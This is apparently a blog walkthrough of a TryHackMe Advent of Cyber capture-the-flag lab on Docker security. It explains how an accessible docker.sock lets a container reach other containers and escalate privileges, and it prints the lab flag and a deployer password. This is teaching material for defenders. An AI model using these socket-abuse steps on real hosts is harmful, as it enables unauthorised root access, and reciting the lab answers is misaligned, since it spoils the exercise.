DAY 14 - Advent of Cyber 2025 TryHackMe - Container Security

🐳 Escaping the Container: Saving DoorDasher from Hopperoo

Advent of Cyber – Day 1 | Container Security Walkthrough

Introduction

As the sun rose over Wareville, chaos had already taken root. The town’s beloved food delivery service, DoorDasher, had been hijacked overnight by King Malhare and his mischievous bunny battalions. The service was rebranded as Hopperoo, menus were altered, and worse — customers began reporting fragments of Santa’s beard in their meals.

Health and safety officials panicked. Some diners experienced “accidental facial hair synchronisation.” Behind the scenes, a security engineer prepared a recovery script to restore DoorDasher — but Sir CarrotBaine locked him out.

All hope seemed lost… until the SOC team realised they still had access through a monitoring container. That’s where this story begins.

🎯 Objective

As a SOC team member, your mission was to:

  • Investigate Docker containers and image layers

  • Escape a vulnerable container

  • Escalate privileges

  • Restore the DoorDasher service

⚠️ Do NOT order Santa’s Beard Pasta.

🧱 Understanding Containers

Modern applications face challenges like:

  • Environment inconsistencies

  • Dependency conflicts

  • Troublesome scaling

Containerisation solves this by packaging applications and dependencies into a single, isolated unit called a container.

Containers vs Virtual Machines

Virtual MachinesContainers
Full guest OSShare host OS kernel
HeavyLightweight
Slower startupFast startup
Strong isolationApplication-level isolation

Containers trade some isolation for speed, scalability, and efficiency, making them ideal for microservices.

🐳 Docker & Container Engines

A container engine manages how containers are built and run. DoorDasher uses Docker, which:

  • Uses Dockerfiles to define build instructions

  • Packages applications consistently

  • Communicates via a daemon using Unix sockets

This architecture is powerful — but misconfigurations can be dangerous.

🚨 Container Escape: The Core Vulnerability

A container escape occurs when a process inside a container gains access beyond its isolated environment — often reaching the host system itself.

Docker uses a client-server model:

Docker CLI → Docker daemon

Communication is via /var/run/docker.sock.

If a container has access to this socket, it can:

  • Control other containers

  • Create privileged containers

  • Execute commands on the host

This was the weakness in DoorDasher’s defences.

🔍 Investigation Steps

Step 1: List Running Containers

docker ps

  • Main web service (port 5001)

  • Monitoring service: uptime-checker

  • Privileged service: deployer

Visiting http://MACHINE_IP:5001 confirmed the defaced Hopperoo site.

Step 2: Enter the Uptime Checker Container

docker exec -it uptime-checker sh

Check Docker socket access:

ls -la /var/run/docker.sock

⚠️ The socket was accessible, meaning Docker escape was possible.

Running docker ps from inside the container confirmed full access to the Docker API.

🔓 Privilege Escalation

Next, enter the privileged deployer container:

docker exec -it deployer bash
whoami

We now had the permissions needed to fix the system.

🛠️ Restoring DoorDasher

Inside the root directory, the recovery script was found:

sudo /recovery_script.sh

Execution succeeded. Refreshing http://MACHINE_IP:5001 revealed:

🎉 DoorDasher restored. Hopperoo defeated.

🏁 Flags & Answers

  • Command to list running containers: docker ps

  • File defining Docker image instructions: Dockerfile

  • Flag:

THM{DOCKER_ESCAPE_SUCCESS}

🎁 Bonus Discovery

A hidden news site on port 5002 contained a secret code — also the deployer user’s password:

DeployMaster2025!

(Definitely should be changed!)

📌 Key Takeaways

  • Exposing docker.sock is equivalent to root access

  • Monitoring containers can become attack vectors

  • Privileged containers must be tightly controlled

  • Docker security misconfigurations are high-impact

Comments

Post a Comment